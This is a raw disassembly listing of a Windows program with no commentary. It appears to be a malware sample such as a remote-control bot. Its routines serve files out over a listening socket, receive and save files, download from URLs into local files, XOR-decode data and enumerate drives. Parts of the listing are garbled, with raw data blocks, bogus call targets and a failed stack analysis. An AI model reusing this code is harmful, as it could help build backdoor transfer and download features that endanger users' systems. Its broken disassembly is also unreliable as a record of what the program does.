		push	[ebp+var_4]
		call	ds:dword_4CDBD4	; RegCloseKey
		add	esi, 18h
		lea	eax, [esi-0Ch]
		cmp	[eax], ebx
		jnz	loc_415B61
		pop	edi
		pop	esi


loc_415CDD:				; CODE XREF: sub_415B31+19j
		pop	ebx
		leave
		retn
sub_415B31	endp

; ---------------------------------------------------------------------------
dword_415CE0	dd 0B8EC8B55h, 11B4h, 6023E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: seg000:004024CEo
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 33EC75FFh, 0B08946F6h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 1A41h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 43A0D8h, 5D44E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 13E85350h, 83FFFF3Ch, 858D14C4h,	0FFFFEE4Ch
		dd 0F54CE850h, 75FFFFFFh, 551DE8F0h, 5959FFFFh,	0A28EE856h
		dd 68E3006Fh, 43FDB4h, 40B1E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 43A0A8h, 5CE0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0AFE85350h, 83FFFF3Bh, 858D14C4h, 0FFFFEE4Ch
		dd 0F4E8E850h, 5359FFFFh, 0DC9015FFh, 75FF004Ch, 54B1E8F0h
		dd 5659FFFFh, 6FA223E8h, 646A1800h, 806415FFh, 0FF330042h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 85E85057h, 83000059h
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0DC1015FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42B0FC68h, 8DE85000h,	8D000062h
		dd 0FFEE4C85h, 0ECE850FFh, 8300003Dh, 0C0850CC4h, 646A1474h
		dd 806415FFh, 0A6A0042h, 0FF536EE8h, 59C085FFh,	858DA375h
		dd 0FFFFEE4Ch, 43A07468h, 1BE85000h, 3900005Ch,	5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 3AECE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFF425E8h
		dd 0FF5359FFh, 4CDC9015h, 0F075FF00h, 0FF53EEE8h, 0E85759FFh
		dd 6FA160h
		db 0D1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EA1	proc near		; DATA XREF: seg000:0040924Fo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_75		= byte ptr -75h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		xor	ebx, ebx
		xor	esi, esi
		inc	ebx
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	ds:dword_4CDC78	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_415EEF
		push	offset unk_43A1D8
		jmp	loc_4160A8
; ---------------------------------------------------------------------------


loc_415EEF:				; CODE XREF: sub_415EA1+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	ds:dword_4CDBF8	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	ds:dword_4CDC24	; bind
		test	eax, eax
		jz	short loc_415F2D
		push	offset unk_43A1B4
		jmp	loc_4160A8
; ---------------------------------------------------------------------------


loc_415F2D:				; CODE XREF: sub_415EA1+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	ds:dword_4CDB9C	; getsockname
		push	[ebp+var_2E]
		call	ds:dword_4CDB28	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41B1D0
		pop	ecx


loc_415F5F:				; CODE XREF: sub_415EA1+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_415F72
		push	5Fh
		pop	eax
		jmp	short loc_415F75
; ---------------------------------------------------------------------------


loc_415F72:				; CODE XREF: sub_415EA1+CAj
		movsx	eax, al


loc_415F75:				; CODE XREF: sub_415EA1+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_41B1D0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_415F5F
		push	ebx
		push	edi
		call	ds:dword_4CDC20	; listen
		test	eax, eax
		jz	short loc_415FA8
		push	offset unk_43A0D8
		jmp	loc_4160A8
; ---------------------------------------------------------------------------


loc_415FA8:				; CODE XREF: sub_415EA1+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	ds:dword_4280EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_415FD2
		push	offset unk_43A194
		jmp	loc_4160A8
; ---------------------------------------------------------------------------


loc_415FD2:				; CODE XREF: sub_415EA1+125j
		push	esi
		push	eax
		call	near ptr 0B10000h
		aad	89h
		inc	ebp
		or	[eax+0Fh], dl
		mov	bh, 45h
		cld
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AAF8
		pop	ecx
		push	eax
		call	ds:dword_4CDC38	; inet_addr
		push	eax
		call	ds:dword_4CDBF4	; htonl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_43A17C
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409966
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	ds:dword_4CDBE0	; select
		test	eax, eax
		jg	short loc_416082
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_43A164
		push	eax
		push	[ebp+var_1FC]
		call	sub_409966
		jmp	loc_4161A6
; ---------------------------------------------------------------------------


loc_416082:				; CODE XREF: sub_415EA1+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	ds:dword_4CDC8C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_4160BB
		push	offset unk_43A140


loc_4160A8:				; CODE XREF: sub_415EA1+49j
					; sub_415EA1+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		jmp	loc_4161A9
; ---------------------------------------------------------------------------


loc_4160BB:				; CODE XREF: sub_415EA1+200j
		push	edi
		call	ds:dword_4CDC90	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_41616D
		mov	edi, 400h


loc_4160D0:				; CODE XREF: sub_415EA1+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_4160DD
		mov	[ebp+var_4], eax


loc_4160DD:				; CODE XREF: sub_415EA1+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_41B780
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	ds:dword_428120	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4280E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	ds:dword_4CDC48	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	ds:dword_4CDC10	; recv
		cmp	eax, ebx
		jl	loc_416202
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_416202
		sub	[ebp+arg_0], eax
		jnz	loc_4160D0
		mov	edi, [ebp+var_18]


loc_41616D:				; CODE XREF: sub_415EA1+224j
		push	[ebp+var_8]
		call	ds:dword_42806C	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_416994
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset unk_43A114
		push	eax
		call	sub_41BA76


loc_4161A6:				; CODE XREF: sub_415EA1+1DCj
		add	esp, 14h


loc_4161A9:				; CODE XREF: sub_415EA1+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_4161CE
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409966
		add	esp, 14h


loc_4161CE:				; CODE XREF: sub_415EA1+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4152AE
		cmp	edi, esi
		pop	ecx
		jbe	short loc_4161E6
		push	edi
		call	ds:dword_4CDC90	; closesocket


loc_4161E6:				; CODE XREF: sub_415EA1+33Cj
		push	[ebp+var_1F8]
		call	ds:dword_4CDC90	; closesocket
		push	[ebp+var_58]
		call	sub_40B287
		pop	ecx
		push	esi
		call	near ptr 0B10000h
		hlt
; ---------------------------------------------------------------------------


loc_416202:				; CODE XREF: sub_415EA1+2AFj
					; sub_415EA1+2BAj
		push	esi
		mov	esi, offset dword_43A0FC
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_409966
		push	esi
		call	sub_4152AE
		add	esp, 18h
		push	[ebp+var_1F8]
		call	ds:dword_4CDC90	; closesocket
		push	[ebp+var_58]
		call	sub_40B287
		pop	ecx
		push	ebx
		call	near ptr 0B10000h


loc_416242:				; DATA XREF: seg000:00402271o
		cmp	dl, [ebp+var_75]
sub_415EA1	endp ; sp-analysis failed

		in	al, dx
		mov	eax, 14C4h
		call	sub_41BD10
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	104h
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	eax
		mov	[ebp-8], ebx
		call	near ptr 0B10000h
		cld
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_42AAEC
		push	eax
		call	sub_41BA76
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_4280EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4162CD
		push	offset unk_43A278
		jmp	short loc_416313
; ---------------------------------------------------------------------------


loc_4162CD:				; CODE XREF: seg000:004162C4j
		push	eax
		call	ds:dword_42806C	; CloseHandle
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B6B2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_4162F5
		push	offset unk_43A248
		jmp	short loc_416313
; ---------------------------------------------------------------------------


loc_4162F5:				; CODE XREF: seg000:004162ECj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_417759
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416326
		push	offset unk_43A228


loc_416313:				; CODE XREF: seg000:004162CBj
					; seg000:004162F3j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		jmp	loc_416420
; ---------------------------------------------------------------------------


loc_416326:				; CODE XREF: seg000:0041630Cj
		mov	esi, 1000h


loc_41632B:				; CODE XREF: seg000:00416391j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC10	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	near ptr loc_4163F1+1
		cmp	edi, 0FFFFFFFFh
		jz	short loc_416393
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D4D4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	ds:dword_4CDBF4	; htonl
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC48	; send
		jmp	short loc_41632B
; ---------------------------------------------------------------------------


loc_416393:				; CODE XREF: seg000:0041635Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_43A0FC
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409966
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4152AE
		push	dword ptr [ebp-4]
		call	sub_41B24B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp-1Ch]
		call	sub_40B287
		pop	ecx
		push	1
		call	near ptr 0B10000h


loc_4163F1:				; CODE XREF: seg000:00416352j
		jmp	near ptr 9A39A981h
; ---------------------------------------------------------------------------
		push	edx
		push	eax
		call	sub_416994
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_43A1FC
		push	eax
		call	sub_41BA76
		add	esp, 1Ch


loc_416420:				; CODE XREF: seg000:00416321j
		cmp	[ebp-14h], ebx
		jnz	short loc_416445
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409966
		add	esp, 14h


loc_416445:				; CODE XREF: seg000:00416423j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4152AE
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416460
		push	dword ptr [ebp-4]
		call	sub_41B24B
		pop	ecx


loc_416460:				; CODE XREF: seg000:00416455j
		cmp	[ebp+8], ebx
		jbe	short loc_41646E
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC90	; closesocket


loc_41646E:				; CODE XREF: seg000:00416463j
		push	dword ptr [ebp-1Ch]
		call	sub_40B287
		pop	ecx
		push	ebx
		call	near ptr 0B10000h


loc_41647D:				; DATA XREF: seg000:00407CDFo
		jl	short near ptr loc_4164CF+5
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	ds:dword_4CDBA8
		call	ds:dword_4CDAFC	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_4168F7
		push	esi
		push	esi
		push	2
		push	esi
		push	esi


loc_4164CF:				; CODE XREF: seg000:loc_41647Dj
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	ds:dword_4280EC	; CreateFileA
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short near ptr loc_416544+1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43A444
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416528
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409966
		add	esp, 14h


loc_416528:				; CODE XREF: seg000:00416506j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4152AE
		push	dword ptr [ebp-48h]
		call	sub_40B287
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B10000h


loc_416544:				; CODE XREF: seg000:004164E6j
		cmp	al, 33h
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 4280A815h, 0D000BB00h, 45890007h, 6AE853FCh,	59000051h
		dd 68E44589h, 200h, 0FAF0858Dh,	5056FFFFh, 520FE8h, 0CC48300h
		dd 5008458Dh, 0FAF0858Dh, 68FFFFh, 50000002h, 0FFE875FFh
		dd 4CDB0415h, 0CC753900h, 75FF1174h, 0F0858D08h, 50FFFFFAh
		dd 3BCE8h, 8D595900h, 5056DC45h, 0FAF0858Dh, 75FFFFFFh
		dd 75FF5008h, 9A46E8E0h, 3BB7006Fh, 8B2273FBh, 3BC72BC3h
		dd 3760845h, 5008458Bh,	0FAF0858Dh, 8B50FFFFh, 0C703E445h
		dd 5F22E850h, 0C4830000h, 87D030Ch, 74C47539h, 0C47D3B05h
		dd 0C78B3F77h, 500AE8C1h, 0FDB8858Dh, 8B50FFFFh, 0C069B845h
		dd 234h, 44093805h, 0BC7D8300h,	68077401h, 43A41Ch, 0F46805EBh
		dd 500043A3h, 5455E8h, 10C48300h, 0F087539h, 0FFFF3287h
		dd 0C47539FFh, 1EC45C7h, 74000000h, 0C47D3B49h,	75FF4474h
		dd 0F0858DC4h, 89FFFFFAh, 6857EC75h, 43A3C8h, 5420E850h
		dd 8D560000h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh
		dd 0FD34B5FFh, 0F3E8FFFFh, 8DFFFF32h, 0FFFAF085h, 2FE850FFh
		dd 83FFFFECh, 15FF28C4h, 4280A8h, 33FC452Bh, 3E8B9D2h
		dd 75FF0000h, 33F1F7E0h, 8BC88BD2h, 0F1F741C7h,	15FFD88Bh
		dd 42806Ch, 0E8E475FFh,	4BF1h, 59C87539h, 858D5674h, 0FFFFFEB8h
		dd 0AA00E850h, 453BFFFEh, 447459C8h, 89C875FFh,	8D50EC75h
		dd 0FFFAF085h, 0A3A068FFh, 0E8500043h, 5396h, 0F0858D56h
		dd 0FFFFFFFAh, 8D50D475h, 0FFFD3885h, 0B5FF50FFh, 0FFFFFD34h
		dd 0FF3269E8h, 0F0858DFFh, 50FFFFFAh, 0FFEBA5E8h, 28C483FFh
		dd 0FEC7539h, 22F84h, 0BC7D8300h, 858D5101h, 0FFFFFEB8h
		dd 0E0840F51h, 89000000h, 7589F85Dh, 0F86DDFFCh, 89F87D89h
		dd 0DDCFC75h, 4286B0h, 0DF241CDDh, 5150F86Dh, 0F0858D51h
		dd 0DCFFFFFAh, 4286B00Dh, 241CDD00h, 43A36868h,	17E85000h
		dd 83000053h, 75391CC4h, 562075D0h, 0FAF0858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh, 0FFFF31E2h
		dd 8D14C483h, 0FFFAF085h, 1BE850FFh, 83FFFFEBh,	5901C07Dh
		dd 1A6850Fh, 56A0000h, 0B8858D56h, 56FFFFFEh, 0C9AC6850h
		dd 0FF560042h, 4CDB6415h, 0D0753900h, 186850Fh,	858D0000h
		dd 0FFFFFEB8h, 0F0858D50h, 68FFFFFAh, 43A34Ch, 52A0E850h
		dd 8D560000h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh
		dd 0FD34B5FFh, 73E8FFFFh, 8DFFFF31h, 0FFFAF085h, 0AFE850FFh
		dd 83FFFFEAh, 3DE924C4h, 89000001h, 7589F85Dh, 0F86DDFFCh
		dd 89F87D89h, 0DDCFC75h, 4286B0h, 0DF241CDDh, 5150F86Dh
		dd 0F0858D51h, 0DCFFFFFAh, 4286B00Dh, 241CDD00h, 43A30868h
		dd 37E85000h, 83000052h, 75391CC4h, 562075D0h, 0FAF0858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFD38h, 34B5FF50h,	0E8FFFFFDh
		dd 0FFFF3102h, 8D14C483h, 0FFFAF085h, 3BE850FFh, 6AFFFFEAh
		dd 0F0458D10h, 1E85056h, 6A00004Fh, 0F0858D44h,	5FFFFFFCh
		dd 0E8505657h, 4EF0h, 8D1CC483h, 0BD89F045h, 0FFFFFCF0h
		dd 8D50FF33h, 0FFFCF085h, 565650FFh, 5656286Ah,	0FEB8858Dh
		dd 4756FFFFh, 85C75650h, 0FFFFFCFCh, 43FDB4h, 0FD1CBD89h
		dd 8966FFFFh, 0FFFD20B5h, 972EE8FFh, 3B55006Fh,	0FF1275C7h
		dd 4CDB5015h, 1C5BE800h, 0FF560000h, 42806815h,	0B8858D00h
		dd 50FFFFFEh, 43A2D468h
		db 0, 0EBh, 0Ch
; ---------------------------------------------------------------------------


loc_4168F7:				; CODE XREF: seg000:004164C3j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43A2A8
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416937
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409966
		add	esp, 14h


loc_416937:				; CODE XREF: seg000:00416915j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4152AE
		pop	ecx
		push	dword ptr [ebp-18h]
		call	ds:dword_4CDC2C	; InternetCloseHandle
		push	dword ptr [ebp-48h]
		call	sub_40B287
		pop	ecx
		push	esi
		call	near ptr 0B10000h
		push	edi

; =============== S U B	R O U T	I N E =======================================



sub_41695D	proc near

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416979


loc_416969:				; CODE XREF: sub_41695D+1Aj
		mov	dl, ds:byte_42A098
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416969

locret_416979:				; CODE XREF: sub_41695D+Aj
		retn
sub_41695D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41697A	proc near		; CODE XREF: seg000:004072AAp
					; seg000:004073ECp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D5DE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_41697A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416994	proc near		; CODE XREF: sub_40FCD8+462p
					; sub_40FCD8+5FEp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D57EC
		push	0
		push	edi
		call	sub_41B780
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_4169B9:				; CODE XREF: sub_416994+5Bj
					; sub_416994+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D6A0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D630
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_4169F7
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4169B9
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_4169B9
; ---------------------------------------------------------------------------


loc_4169F7:				; CODE XREF: sub_416994+4Bj
		mov	eax, edi
		jmp	short loc_416A00
; ---------------------------------------------------------------------------


loc_4169FB:				; CODE XREF: sub_416994+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_416A00:				; CODE XREF: sub_416994+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_4169FB
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416994	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A12	proc near		; CODE XREF: sub_416BBE+51p
					; sub_416BBE+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4CDC58	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_416A55
		dec	eax
		jz	short loc_416A4F
		dec	eax
		dec	eax
		jz	short loc_416A49
		dec	eax
		jz	short loc_416A43
		dec	eax
		jz	short loc_416A3D
		dec	eax
		jz	short loc_416A37
		mov	eax, offset word_43A498
		retn
; ---------------------------------------------------------------------------


loc_416A37:				; CODE XREF: sub_416A12+1Dj
		mov	eax, offset off_43A494
		retn
; ---------------------------------------------------------------------------


loc_416A3D:				; CODE XREF: sub_416A12+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416A43:				; CODE XREF: sub_416A12+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416A49:				; CODE XREF: sub_416A12+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416A4F:				; CODE XREF: sub_416A12+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416A55:				; CODE XREF: sub_416A12+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416A12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A5B	proc near		; CODE XREF: sub_416AA3+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_4CDAE8
		test	eax, eax
		jz	short loc_416A90
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_416A90:				; CODE XREF: sub_416A5B+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AA3	proc near		; CODE XREF: sub_416BBE+17p
					; sub_41AC18+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
